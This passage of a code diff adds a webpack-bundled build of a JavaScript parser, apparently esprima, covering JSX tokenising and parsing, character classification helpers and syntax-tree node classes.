+	        function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
+	    return function (d, b) {
+	        extendStatics(d, b);
+	        function __() { this.constructor = d; }
+	        d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
+	    };
+	})();
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var character_1 = __webpack_require__(4);
+	var JSXNode = __webpack_require__(5);
+	var jsx_syntax_1 = __webpack_require__(6);
+	var Node = __webpack_require__(7);
+	var parser_1 = __webpack_require__(8);
+	var token_1 = __webpack_require__(13);
+	var xhtml_entities_1 = __webpack_require__(14);
+	token_1.TokenName[100 /* Identifier */] = 'JSXIdentifier';
+	token_1.TokenName[101 /* Text */] = 'JSXText';
+	// Fully qualified element name, e.g. <svg:path> returns "svg:path"
+	function getQualifiedElementName(elementName) {
+	    var qualifiedName;
+	    switch (elementName.type) {
+	        case jsx_syntax_1.JSXSyntax.JSXIdentifier:
+	            var id = elementName;
+	            qualifiedName = id.name;
+	            break;
+	        case jsx_syntax_1.JSXSyntax.JSXNamespacedName:
+	            var ns = elementName;
+	            qualifiedName = getQualifiedElementName(ns.namespace) + ':' +
+	                getQualifiedElementName(ns.name);
+	            break;
+	        case jsx_syntax_1.JSXSyntax.JSXMemberExpression:
+	            var expr = elementName;
+	            qualifiedName = getQualifiedElementName(expr.object) + '.' +
+	                getQualifiedElementName(expr.property);
+	            break;
+	        /* istanbul ignore next */
+	        default:
+	            break;
+	    }
+	    return qualifiedName;
+	}
+	var JSXParser = (function (_super) {
+	    __extends(JSXParser, _super);
+	    function JSXParser(code, options, delegate) {
+	        return _super.call(this, code, options, delegate) || this;
+	    }
+	    JSXParser.prototype.parsePrimaryExpression = function () {
+	        return this.match('<') ? this.parseJSXRoot() : _super.prototype.parsePrimaryExpression.call(this);
+	    };
+	    JSXParser.prototype.startJSX = function () {
+	        // Unwind the scanner before the lookahead token.
+	        this.scanner.index = this.startMarker.index;
+	        this.scanner.lineNumber = this.startMarker.line;
+	        this.scanner.lineStart = this.startMarker.index - this.startMarker.column;
+	    };
+	    JSXParser.prototype.finishJSX = function () {
+	        // Prime the next lookahead.
+	        this.nextToken();
+	    };
+	    JSXParser.prototype.reenterJSX = function () {
+	        this.startJSX();
+	        this.expectJSX('}');
+	        // Pop the closing '}' added from the lookahead.
+	        if (this.config.tokens) {
+	            this.tokens.pop();
+	        }
+	    };
+	    JSXParser.prototype.createJSXNode = function () {
+	        this.collectComments();
+	        return {
+	            index: this.scanner.index,
+	            line: this.scanner.lineNumber,
+	            column: this.scanner.index - this.scanner.lineStart
+	        };
+	    };
+	    JSXParser.prototype.createJSXChildNode = function () {
+	        return {
+	            index: this.scanner.index,
+	            line: this.scanner.lineNumber,
+	            column: this.scanner.index - this.scanner.lineStart
+	        };
+	    };
+	    JSXParser.prototype.scanXHTMLEntity = function (quote) {
+	        var result = '&';
+	        var valid = true;
+	        var terminated = false;
+	        var numeric = false;
+	        var hex = false;
+	        while (!this.scanner.eof() && valid && !terminated) {
+	            var ch = this.scanner.source[this.scanner.index];
+	            if (ch === quote) {
+	                break;
+	            }
+	            terminated = (ch === ';');
+	            result += ch;
+	            ++this.scanner.index;
+	            if (!terminated) {
+	                switch (result.length) {
+	                    case 2:
+	                        // e.g. '&#123;'
+	                        numeric = (ch === '#');
+	                        break;
+	                    case 3:
+	                        if (numeric) {
+	                            // e.g. '&#x41;'
+	                            hex = (ch === 'x');
+	                            valid = hex || character_1.Character.isDecimalDigit(ch.charCodeAt(0));
+	                            numeric = numeric && !hex;
+	                        }
+	                        break;
+	                    default:
+	                        valid = valid && !(numeric && !character_1.Character.isDecimalDigit(ch.charCodeAt(0)));
+	                        valid = valid && !(hex && !character_1.Character.isHexDigit(ch.charCodeAt(0)));
+	                        break;
+	                }
+	            }
+	        }
+	        if (valid && terminated && result.length > 2) {
+	            // e.g. '&#x41;' becomes just '#x41'
+	            var str = result.substr(1, result.length - 2);
+	            if (numeric && str.length > 1) {
+	                result = String.fromCharCode(parseInt(str.substr(1), 10));
+	            }
+	            else if (hex && str.length > 2) {
+	                result = String.fromCharCode(parseInt('0' + str.substr(1), 16));
+	            }
+	            else if (!numeric && !hex && xhtml_entities_1.XHTMLEntities[str]) {
+	                result = xhtml_entities_1.XHTMLEntities[str];
+	            }
+	        }
+	        return result;
+	    };
+	    // Scan the next JSX token. This replaces Scanner#lex when in JSX mode.
+	    JSXParser.prototype.lexJSX = function () {
+	        var cp = this.scanner.source.charCodeAt(this.scanner.index);
+	        // < > / : = { }
+	        if (cp === 60 || cp === 62 || cp === 47 || cp === 58 || cp === 61 || cp === 123 || cp === 125) {
+	            var value = this.scanner.source[this.scanner.index++];
+	            return {
+	                type: 7 /* Punctuator */,
+	                value: value,
+	                lineNumber: this.scanner.lineNumber,
+	                lineStart: this.scanner.lineStart,
+	                start: this.scanner.index - 1,
+	                end: this.scanner.index
+	            };
+	        }
+	        // " '
+	        if (cp === 34 || cp === 39) {
+	            var start = this.scanner.index;
+	            var quote = this.scanner.source[this.scanner.index++];
+	            var str = '';
+	            while (!this.scanner.eof()) {
+	                var ch = this.scanner.source[this.scanner.index++];
+	                if (ch === quote) {
+	                    break;
+	                }
+	                else if (ch === '&') {
+	                    str += this.scanXHTMLEntity(quote);
+	                }
+	                else {
+	                    str += ch;
+	                }
+	            }
+	            return {
+	                type: 8 /* StringLiteral */,
+	                value: str,
+	                lineNumber: this.scanner.lineNumber,
+	                lineStart: this.scanner.lineStart,
+	                start: start,
+	                end: this.scanner.index
+	            };
+	        }
+	        // ... or .
+	        if (cp === 46) {
+	            var n1 = this.scanner.source.charCodeAt(this.scanner.index + 1);
+	            var n2 = this.scanner.source.charCodeAt(this.scanner.index + 2);
+	            var value = (n1 === 46 && n2 === 46) ? '...' : '.';
+	            var start = this.scanner.index;
+	            this.scanner.index += value.length;
+	            return {
+	                type: 7 /* Punctuator */,
+	                value: value,
+	                lineNumber: this.scanner.lineNumber,
+	                lineStart: this.scanner.lineStart,
+	                start: start,
+	                end: this.scanner.index
+	            };
+	        }
+	        // `
+	        if (cp === 96) {
+	            // Only placeholder, since it will be rescanned as a real assignment expression.
+	            return {
+	                type: 10 /* Template */,
+	                value: '',
+	                lineNumber: this.scanner.lineNumber,
+	                lineStart: this.scanner.lineStart,
+	                start: this.scanner.index,
+	                end: this.scanner.index
+	            };
+	        }
+	        // Identifer can not contain backslash (char code 92).
+	        if (character_1.Character.isIdentifierStart(cp) && (cp !== 92)) {
+	            var start = this.scanner.index;
+	            ++this.scanner.index;
+	            while (!this.scanner.eof()) {
+	                var ch = this.scanner.source.charCodeAt(this.scanner.index);
+	                if (character_1.Character.isIdentifierPart(ch) && (ch !== 92)) {
+	                    ++this.scanner.index;
+	                }
+	                else if (ch === 45) {
+	                    // Hyphen (char code 45) can be part of an identifier.
+	                    ++this.scanner.index;
+	                }
+	                else {
+	                    break;
+	                }
+	            }
+	            var id = this.scanner.source.slice(start, this.scanner.index);
+	            return {
+	                type: 100 /* Identifier */,
+	                value: id,
+	                lineNumber: this.scanner.lineNumber,
+	                lineStart: this.scanner.lineStart,
+	                start: start,
+	                end: this.scanner.index
+	            };
+	        }
+	        return this.scanner.lex();
+	    };
+	    JSXParser.prototype.nextJSXToken = function () {
+	        this.collectComments();
+	        this.startMarker.index = this.scanner.index;
+	        this.startMarker.line = this.scanner.lineNumber;
+	        this.startMarker.column = this.scanner.index - this.scanner.lineStart;
+	        var token = this.lexJSX();
+	        this.lastMarker.index = this.scanner.index;
+	        this.lastMarker.line = this.scanner.lineNumber;
+	        this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
+	        if (this.config.tokens) {
+	            this.tokens.push(this.convertToken(token));
+	        }
+	        return token;
+	    };
+	    JSXParser.prototype.nextJSXText = function () {
+	        this.startMarker.index = this.scanner.index;
+	        this.startMarker.line = this.scanner.lineNumber;
+	        this.startMarker.column = this.scanner.index - this.scanner.lineStart;
+	        var start = this.scanner.index;
+	        var text = '';
+	        while (!this.scanner.eof()) {
+	            var ch = this.scanner.source[this.scanner.index];
+	            if (ch === '{' || ch === '<') {
+	                break;
+	            }
+	            ++this.scanner.index;
+	            text += ch;
+	            if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
+	                ++this.scanner.lineNumber;
+	                if (ch === '\r' && this.scanner.source[this.scanner.index] === '\n') {
+	                    ++this.scanner.index;
+	                }
+	                this.scanner.lineStart = this.scanner.index;
+	            }
+	        }
+	        this.lastMarker.index = this.scanner.index;
+	        this.lastMarker.line = this.scanner.lineNumber;
+	        this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
+	        var token = {
+	            type: 101 /* Text */,
+	            value: text,
+	            lineNumber: this.scanner.lineNumber,
+	            lineStart: this.scanner.lineStart,
+	            start: start,
+	            end: this.scanner.index
+	        };
+	        if ((text.length > 0) && this.config.tokens) {
+	            this.tokens.push(this.convertToken(token));
+	        }
+	        return token;
+	    };
+	    JSXParser.prototype.peekJSXToken = function () {
+	        var state = this.scanner.saveState();
+	        this.scanner.scanComments();
+	        var next = this.lexJSX();
+	        this.scanner.restoreState(state);
+	        return next;
+	    };
+	    // Expect the next JSX token to match the specified punctuator.
+	    // If not, an exception will be thrown.
+	    JSXParser.prototype.expectJSX = function (value) {
+	        var token = this.nextJSXToken();
+	        if (token.type !== 7 /* Punctuator */ || token.value !== value) {
+	            this.throwUnexpectedToken(token);
+	        }
+	    };
+	    // Return true if the next JSX token matches the specified punctuator.
+	    JSXParser.prototype.matchJSX = function (value) {
+	        var next = this.peekJSXToken();
+	        return next.type === 7 /* Punctuator */ && next.value === value;
+	    };
+	    JSXParser.prototype.parseJSXIdentifier = function () {
+	        var node = this.createJSXNode();
+	        var token = this.nextJSXToken();
+	        if (token.type !== 100 /* Identifier */) {
+	            this.throwUnexpectedToken(token);
+	        }
+	        return this.finalize(node, new JSXNode.JSXIdentifier(token.value));
+	    };
+	    JSXParser.prototype.parseJSXElementName = function () {
+	        var node = this.createJSXNode();
+	        var elementName = this.parseJSXIdentifier();
+	        if (this.matchJSX(':')) {
+	            var namespace = elementName;
+	            this.expectJSX(':');
+	            var name_1 = this.parseJSXIdentifier();
+	            elementName = this.finalize(node, new JSXNode.JSXNamespacedName(namespace, name_1));
+	        }
+	        else if (this.matchJSX('.')) {
+	            while (this.matchJSX('.')) {
+	                var object = elementName;
+	                this.expectJSX('.');
+	                var property = this.parseJSXIdentifier();
+	                elementName = this.finalize(node, new JSXNode.JSXMemberExpression(object, property));
+	            }
+	        }
+	        return elementName;
+	    };
+	    JSXParser.prototype.parseJSXAttributeName = function () {
+	        var node = this.createJSXNode();
+	        var attributeName;
+	        var identifier = this.parseJSXIdentifier();
+	        if (this.matchJSX(':')) {
+	            var namespace = identifier;
+	            this.expectJSX(':');
+	            var name_2 = this.parseJSXIdentifier();
+	            attributeName = this.finalize(node, new JSXNode.JSXNamespacedName(namespace, name_2));
+	        }
+	        else {
+	            attributeName = identifier;
+	        }
+	        return attributeName;
+	    };
+	    JSXParser.prototype.parseJSXStringLiteralAttribute = function () {
+	        var node = this.createJSXNode();
+	        var token = this.nextJSXToken();
+	        if (token.type !== 8 /* StringLiteral */) {
+	            this.throwUnexpectedToken(token);
+	        }
+	        var raw = this.getTokenRaw(token);
+	        return this.finalize(node, new Node.Literal(token.value, raw));
+	    };
+	    JSXParser.prototype.parseJSXExpressionAttribute = function () {
+	        var node = this.createJSXNode();
+	        this.expectJSX('{');
+	        this.finishJSX();
+	        if (this.match('}')) {
+	            this.tolerateError('JSX attributes must only be assigned a non-empty expression');
+	        }
+	        var expression = this.parseAssignmentExpression();
+	        this.reenterJSX();
+	        return this.finalize(node, new JSXNode.JSXExpressionContainer(expression));
+	    };
+	    JSXParser.prototype.parseJSXAttributeValue = function () {
+	        return this.matchJSX('{') ? this.parseJSXExpressionAttribute() :
+	            this.matchJSX('<') ? this.parseJSXElement() : this.parseJSXStringLiteralAttribute();
+	    };
+	    JSXParser.prototype.parseJSXNameValueAttribute = function () {
+	        var node = this.createJSXNode();
+	        var name = this.parseJSXAttributeName();
+	        var value = null;
+	        if (this.matchJSX('=')) {
+	            this.expectJSX('=');
+	            value = this.parseJSXAttributeValue();
+	        }
+	        return this.finalize(node, new JSXNode.JSXAttribute(name, value));
+	    };
+	    JSXParser.prototype.parseJSXSpreadAttribute = function () {
+	        var node = this.createJSXNode();
+	        this.expectJSX('{');
+	        this.expectJSX('...');
+	        this.finishJSX();
+	        var argument = this.parseAssignmentExpression();
+	        this.reenterJSX();
+	        return this.finalize(node, new JSXNode.JSXSpreadAttribute(argument));
+	    };
+	    JSXParser.prototype.parseJSXAttributes = function () {
+	        var attributes = [];
+	        while (!this.matchJSX('/') && !this.matchJSX('>')) {
+	            var attribute = this.matchJSX('{') ? this.parseJSXSpreadAttribute() :
+	                this.parseJSXNameValueAttribute();
+	            attributes.push(attribute);
+	        }
+	        return attributes;
+	    };
+	    JSXParser.prototype.parseJSXOpeningElement = function () {
+	        var node = this.createJSXNode();
+	        this.expectJSX('<');
+	        var name = this.parseJSXElementName();
+	        var attributes = this.parseJSXAttributes();
+	        var selfClosing = this.matchJSX('/');
+	        if (selfClosing) {
+	            this.expectJSX('/');
+	        }
+	        this.expectJSX('>');
+	        return this.finalize(node, new JSXNode.JSXOpeningElement(name, selfClosing, attributes));
+	    };
+	    JSXParser.prototype.parseJSXBoundaryElement = function () {
+	        var node = this.createJSXNode();
+	        this.expectJSX('<');
+	        if (this.matchJSX('/')) {
+	            this.expectJSX('/');
+	            var name_3 = this.parseJSXElementName();
+	            this.expectJSX('>');
+	            return this.finalize(node, new JSXNode.JSXClosingElement(name_3));
+	        }
+	        var name = this.parseJSXElementName();
+	        var attributes = this.parseJSXAttributes();
+	        var selfClosing = this.matchJSX('/');
+	        if (selfClosing) {
+	            this.expectJSX('/');
+	        }
+	        this.expectJSX('>');
+	        return this.finalize(node, new JSXNode.JSXOpeningElement(name, selfClosing, attributes));
+	    };
+	    JSXParser.prototype.parseJSXEmptyExpression = function () {
+	        var node = this.createJSXChildNode();
+	        this.collectComments();
+	        this.lastMarker.index = this.scanner.index;
+	        this.lastMarker.line = this.scanner.lineNumber;
+	        this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
+	        return this.finalize(node, new JSXNode.JSXEmptyExpression());
+	    };
+	    JSXParser.prototype.parseJSXExpressionContainer = function () {
+	        var node = this.createJSXNode();
+	        this.expectJSX('{');
+	        var expression;
+	        if (this.matchJSX('}')) {
+	            expression = this.parseJSXEmptyExpression();
+	            this.expectJSX('}');
+	        }
+	        else {
+	            this.finishJSX();
+	            expression = this.parseAssignmentExpression();
+	            this.reenterJSX();
+	        }
+	        return this.finalize(node, new JSXNode.JSXExpressionContainer(expression));
+	    };
+	    JSXParser.prototype.parseJSXChildren = function () {
+	        var children = [];
+	        while (!this.scanner.eof()) {
+	            var node = this.createJSXChildNode();
+	            var token = this.nextJSXText();
+	            if (token.start < token.end) {
+	                var raw = this.getTokenRaw(token);
+	                var child = this.finalize(node, new JSXNode.JSXText(token.value, raw));
+	                children.push(child);
+	            }
+	            if (this.scanner.source[this.scanner.index] === '{') {
+	                var container = this.parseJSXExpressionContainer();
+	                children.push(container);
+	            }
+	            else {
+	                break;
+	            }
+	        }
+	        return children;
+	    };
+	    JSXParser.prototype.parseComplexJSXElement = function (el) {
+	        var stack = [];
+	        while (!this.scanner.eof()) {
+	            el.children = el.children.concat(this.parseJSXChildren());
+	            var node = this.createJSXChildNode();
+	            var element = this.parseJSXBoundaryElement();
+	            if (element.type === jsx_syntax_1.JSXSyntax.JSXOpeningElement) {
+	                var opening = element;
+	                if (opening.selfClosing) {
+	                    var child = this.finalize(node, new JSXNode.JSXElement(opening, [], null));
+	                    el.children.push(child);
+	                }
+	                else {
+	                    stack.push(el);
+	                    el = { node: node, opening: opening, closing: null, children: [] };
+	                }
+	            }
+	            if (element.type === jsx_syntax_1.JSXSyntax.JSXClosingElement) {
+	                el.closing = element;
+	                var open_1 = getQualifiedElementName(el.opening.name);
+	                var close_1 = getQualifiedElementName(el.closing.name);
+	                if (open_1 !== close_1) {
+	                    this.tolerateError('Expected corresponding JSX closing tag for %0', open_1);
+	                }
+	                if (stack.length > 0) {
+	                    var child = this.finalize(el.node, new JSXNode.JSXElement(el.opening, el.children, el.closing));
+	                    el = stack[stack.length - 1];
+	                    el.children.push(child);
+	                    stack.pop();
+	                }
+	                else {
+	                    break;
+	                }
+	            }
+	        }
+	        return el;
+	    };
+	    JSXParser.prototype.parseJSXElement = function () {
+	        var node = this.createJSXNode();
+	        var opening = this.parseJSXOpeningElement();
+	        var children = [];
+	        var closing = null;
+	        if (!opening.selfClosing) {
+	            var el = this.parseComplexJSXElement({ node: node, opening: opening, closing: closing, children: children });
+	            children = el.children;
+	            closing = el.closing;
+	        }
+	        return this.finalize(node, new JSXNode.JSXElement(opening, children, closing));
+	    };
+	    JSXParser.prototype.parseJSXRoot = function () {
+	        // Pop the opening '<' added from the lookahead.
+	        if (this.config.tokens) {
+	            this.tokens.pop();
+	        }
+	        this.startJSX();
+	        var element = this.parseJSXElement();
+	        this.finishJSX();
+	        return element;
+	    };
+	    JSXParser.prototype.isStartOfExpression = function () {
+	        return _super.prototype.isStartOfExpression.call(this) || this.match('<');
+	    };
+	    return JSXParser;
+	}(parser_1.Parser));
+	exports.JSXParser = JSXParser;
+
+
+/***/ },
+/* 4 */
+/***/ function(module, exports) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	// See also tools/generate-unicode-regex.js.
+	var Regex = {
+	    // Unicode v8.0.0 NonAsciiIdentifierStart:
+	    NonAsciiIdentifierStart: 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+	    // Unicode v8.0.0 NonAsciiIdentifierPart:
+	    NonAsciiIdentifierPart: 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+	};
+	exports.Character = {
+	    /* tslint:disable:no-bitwise */
+	    fromCodePoint: function (cp) {
+	        return (cp < 0x10000) ? String.fromCharCode(cp) :
+	            String.fromCharCode(0xD800 + ((cp - 0x10000) >> 10)) +
+	                String.fromCharCode(0xDC00 + ((cp - 0x10000) & 1023));
+	    },
+	    // https://tc39.github.io/ecma262/#sec-white-space
+	    isWhiteSpace: function (cp) {
+	        return (cp === 0x20) || (cp === 0x09) || (cp === 0x0B) || (cp === 0x0C) || (cp === 0xA0) ||
+	            (cp >= 0x1680 && [0x1680, 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 0x2007, 0x2008, 0x2009, 0x200A, 0x202F, 0x205F, 0x3000, 0xFEFF].indexOf(cp) >= 0);
+	    },
+	    // https://tc39.github.io/ecma262/#sec-line-terminators
+	    isLineTerminator: function (cp) {
+	        return (cp === 0x0A) || (cp === 0x0D) || (cp === 0x2028) || (cp === 0x2029);
+	    },
+	    // https://tc39.github.io/ecma262/#sec-names-and-keywords
+	    isIdentifierStart: function (cp) {
+	        return (cp === 0x24) || (cp === 0x5F) ||
+	            (cp >= 0x41 && cp <= 0x5A) ||
+	            (cp >= 0x61 && cp <= 0x7A) ||
+	            (cp === 0x5C) ||
+	            ((cp >= 0x80) && Regex.NonAsciiIdentifierStart.test(exports.Character.fromCodePoint(cp)));
+	    },
+	    isIdentifierPart: function (cp) {
+	        return (cp === 0x24) || (cp === 0x5F) ||
+	            (cp >= 0x41 && cp <= 0x5A) ||
+	            (cp >= 0x61 && cp <= 0x7A) ||
+	            (cp >= 0x30 && cp <= 0x39) ||
+	            (cp === 0x5C) ||
+	            ((cp >= 0x80) && Regex.NonAsciiIdentifierPart.test(exports.Character.fromCodePoint(cp)));
+	    },
+	    // https://tc39.github.io/ecma262/#sec-literals-numeric-literals
+	    isDecimalDigit: function (cp) {
+	        return (cp >= 0x30 && cp <= 0x39); // 0..9
+	    },
+	    isHexDigit: function (cp) {
+	        return (cp >= 0x30 && cp <= 0x39) ||
+	            (cp >= 0x41 && cp <= 0x46) ||
+	            (cp >= 0x61 && cp <= 0x66); // a..f
+	    },
+	    isOctalDigit: function (cp) {
+	        return (cp >= 0x30 && cp <= 0x37); // 0..7
+	    }
+	};
+
+
+/***/ },
+/* 5 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var jsx_syntax_1 = __webpack_require__(6);
+	/* tslint:disable:max-classes-per-file */
+	var JSXClosingElement = (function () {
+	    function JSXClosingElement(name) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXClosingElement;
+	        this.name = name;
+	    }
+	    return JSXClosingElement;
+	}());
+	exports.JSXClosingElement = JSXClosingElement;
+	var JSXElement = (function () {
+	    function JSXElement(openingElement, children, closingElement) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXElement;
+	        this.openingElement = openingElement;
+	        this.children = children;
+	        this.closingElement = closingElement;
+	    }
+	    return JSXElement;
+	}());
+	exports.JSXElement = JSXElement;
+	var JSXEmptyExpression = (function () {
+	    function JSXEmptyExpression() {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXEmptyExpression;
+	    }
+	    return JSXEmptyExpression;
+	}());
+	exports.JSXEmptyExpression = JSXEmptyExpression;
+	var JSXExpressionContainer = (function () {
+	    function JSXExpressionContainer(expression) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXExpressionContainer;
+	        this.expression = expression;
+	    }
+	    return JSXExpressionContainer;
+	}());
+	exports.JSXExpressionContainer = JSXExpressionContainer;
+	var JSXIdentifier = (function () {
+	    function JSXIdentifier(name) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXIdentifier;
+	        this.name = name;
+	    }
+	    return JSXIdentifier;
+	}());
+	exports.JSXIdentifier = JSXIdentifier;
+	var JSXMemberExpression = (function () {
+	    function JSXMemberExpression(object, property) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXMemberExpression;
+	        this.object = object;
+	        this.property = property;
+	    }
+	    return JSXMemberExpression;
+	}());
+	exports.JSXMemberExpression = JSXMemberExpression;
+	var JSXAttribute = (function () {
+	    function JSXAttribute(name, value) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXAttribute;
+	        this.name = name;
+	        this.value = value;
+	    }
+	    return JSXAttribute;
+	}());
+	exports.JSXAttribute = JSXAttribute;
+	var JSXNamespacedName = (function () {
+	    function JSXNamespacedName(namespace, name) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXNamespacedName;
+	        this.namespace = namespace;
+	        this.name = name;
+	    }
+	    return JSXNamespacedName;
+	}());
+	exports.JSXNamespacedName = JSXNamespacedName;
+	var JSXOpeningElement = (function () {
+	    function JSXOpeningElement(name, selfClosing, attributes) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXOpeningElement;
+	        this.name = name;
+	        this.selfClosing = selfClosing;
+	        this.attributes = attributes;
+	    }
+	    return JSXOpeningElement;
+	}());
+	exports.JSXOpeningElement = JSXOpeningElement;
+	var JSXSpreadAttribute = (function () {
+	    function JSXSpreadAttribute(argument) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXSpreadAttribute;
+	        this.argument = argument;
+	    }
+	    return JSXSpreadAttribute;
+	}());
+	exports.JSXSpreadAttribute = JSXSpreadAttribute;
+	var JSXText = (function () {
+	    function JSXText(value, raw) {
+	        this.type = jsx_syntax_1.JSXSyntax.JSXText;
+	        this.value = value;
+	        this.raw = raw;
+	    }
+	    return JSXText;
+	}());
+	exports.JSXText = JSXText;
+
+
+/***/ },
+/* 6 */
+/***/ function(module, exports) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	exports.JSXSyntax = {
+	    JSXAttribute: 'JSXAttribute',
+	    JSXClosingElement: 'JSXClosingElement',
+	    JSXElement: 'JSXElement',
+	    JSXEmptyExpression: 'JSXEmptyExpression',
+	    JSXExpressionContainer: 'JSXExpressionContainer',
+	    JSXIdentifier: 'JSXIdentifier',
+	    JSXMemberExpression: 'JSXMemberExpression',
+	    JSXNamespacedName: 'JSXNamespacedName',
+	    JSXOpeningElement: 'JSXOpeningElement',
+	    JSXSpreadAttribute: 'JSXSpreadAttribute',
+	    JSXText: 'JSXText'
+	};
+
+
+/***/ },
+/* 7 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var syntax_1 = __webpack_require__(2);
+	/* tslint:disable:max-classes-per-file */
+	var ArrayExpression = (function () {
+	    function ArrayExpression(elements) {
+	        this.type = syntax_1.Syntax.ArrayExpression;
+	        this.elements = elements;
+	    }
+	    return ArrayExpression;
+	}());
+	exports.ArrayExpression = ArrayExpression;
+	var ArrayPattern = (function () {
+	    function ArrayPattern(elements) {
+	        this.type = syntax_1.Syntax.ArrayPattern;
+	        this.elements = elements;
+	    }
+	    return ArrayPattern;
+	}());
+	exports.ArrayPattern = ArrayPattern;
+	var ArrowFunctionExpression = (function () {
+	    function ArrowFunctionExpression(params, body, expression) {
+	        this.type = syntax_1.Syntax.ArrowFunctionExpression;
+	        this.id = null;
+	        this.params = params;
+	        this.body = body;
+	        this.generator = false;
+	        this.expression = expression;
+	        this.async = false;
+	    }
+	    return ArrowFunctionExpression;
+	}());
+	exports.ArrowFunctionExpression = ArrowFunctionExpression;
+	var AssignmentExpression = (function () {
+	    function AssignmentExpression(operator, left, right) {
+	        this.type = syntax_1.Syntax.AssignmentExpression;
+	        this.operator = operator;
+	        this.left = left;
+	        this.right = right;
+	    }
+	    return AssignmentExpression;
+	}());
+	exports.AssignmentExpression = AssignmentExpression;
+	var AssignmentPattern = (function () {
+	    function AssignmentPattern(left, right) {
+	        this.type = syntax_1.Syntax.AssignmentPattern;
+	        this.left = left;
+	        this.right = right;
+	    }
+	    return AssignmentPattern;
+	}());
+	exports.AssignmentPattern = AssignmentPattern;
+	var AsyncArrowFunctionExpression = (function () {
+	    function AsyncArrowFunctionExpression(params, body, expression) {
+	        this.type = syntax_1.Syntax.ArrowFunctionExpression;
+	        this.id = null;
+	        this.params = params;
+	        this.body = body;
+	        this.generator = false;
+	        this.expression = expression;
+	        this.async = true;
+	    }
+	    return AsyncArrowFunctionExpression;
+	}());
+	exports.AsyncArrowFunctionExpression = AsyncArrowFunctionExpression;
+	var AsyncFunctionDeclaration = (function () {
+	    function AsyncFunctionDeclaration(id, params, body) {
+	        this.type = syntax_1.Syntax.FunctionDeclaration;
+	        this.id = id;
+	        this.params = params;
+	        this.body = body;
+	        this.generator = false;
+	        this.expression = false;
+	        this.async = true;
+	    }
+	    return AsyncFunctionDeclaration;
+	}());
+	exports.AsyncFunctionDeclaration = AsyncFunctionDeclaration;
+	var AsyncFunctionExpression = (function () {
+	    function AsyncFunctionExpression(id, params, body) {
+	        this.type = syntax_1.Syntax.FunctionExpression;
+	        this.id = id;
+	        this.params = params;
+	        this.body = body;
+	        this.generator = false;
+	        this.expression = false;
+	        this.async = true;
+	    }
+	    return AsyncFunctionExpression;
+	}());
+	exports.AsyncFunctionExpression = AsyncFunctionExpression;
+	var AwaitExpression = (function () {
+	    function AwaitExpression(argument) {
+	        this.type = syntax_1.Syntax.AwaitExpression;
+	        this.argument = argument;
+	    }
+	    return AwaitExpression;
+	}());
+	exports.AwaitExpression = AwaitExpression;
+	var BinaryExpression = (function () {
+	    function BinaryExpression(operator, left, right) {
+	        var logical = (operator === '||' || operator === '&&');
+	        this.type = logical ? syntax_1.Syntax.LogicalExpression : syntax_1.Syntax.BinaryExpression;
+	        this.operator = operator;
+	        this.left = left;
+	        this.right = right;
+	    }
+	    return BinaryExpression;
+	}());
+	exports.BinaryExpression = BinaryExpression;
+	var BlockStatement = (function () {
+	    function BlockStatement(body) {
+	        this.type = syntax_1.Syntax.BlockStatement;
+	        this.body = body;
+	    }
+	    return BlockStatement;
+	}());
+	exports.BlockStatement = BlockStatement;
+	var BreakStatement = (function () {
+	    function BreakStatement(label) {
+	        this.type = syntax_1.Syntax.BreakStatement;
+	        this.label = label;
+	    }
+	    return BreakStatement;
+	}());
+	exports.BreakStatement = BreakStatement;
+	var CallExpression = (function () {
+	    function CallExpression(callee, args) {
+	        this.type = syntax_1.Syntax.CallExpression;
+	        this.callee = callee;
+	        this.arguments = args;
+	    }
+	    return CallExpression;
+	}());
+	exports.CallExpression = CallExpression;
+	var CatchClause = (function () {
+	    function CatchClause(param, body) {
+	        this.type = syntax_1.Syntax.CatchClause;
+	        this.param = param;
+	        this.body = body;
+	    }
+	    return CatchClause;
+	}());
+	exports.CatchClause = CatchClause;
+	var ClassBody = (function () {
+	    function ClassBody(body) {
+	        this.type = syntax_1.Syntax.ClassBody;
+	        this.body = body;
+	    }
+	    return ClassBody;
+	}());
+	exports.ClassBody = ClassBody;
+	var ClassDeclaration = (function () {
+	    function ClassDeclaration(id, superClass, body) {
+	        this.type = syntax_1.Syntax.ClassDeclaration;
+	        this.id = id;
+	        this.superClass = superClass;
+	        this.body = body;
+	    }
+	    return ClassDeclaration;
+	}());
+	exports.ClassDeclaration = ClassDeclaration;
+	var ClassExpression = (function () {
+	    function ClassExpression(id, superClass, body) {
+	        this.type = syntax_1.Syntax.ClassExpression;
+	        this.id = id;
+	        this.superClass = superClass;
+	        this.body = body;
+	    }
+	    return ClassExpression;
+	}());
+	exports.ClassExpression = ClassExpression;
+	var ComputedMemberExpression = (function () {
+	    function ComputedMemberExpression(object, property) {
+	        this.type = syntax_1.Syntax.MemberExpression;
+	        this.computed = true;
+	        this.object = object;
+	        this.property = property;
+	    }
+	    return ComputedMemberExpression;
+	}());
+	exports.ComputedMemberExpression = ComputedMemberExpression;
+	var ConditionalExpression = (function () {
+	    function ConditionalExpression(test, consequent, alternate) {
+	        this.type = syntax_1.Syntax.ConditionalExpression;
+	        this.test = test;
+	        this.consequent = consequent;
+	        this.alternate = alternate;
+	    }
+	    return ConditionalExpression;
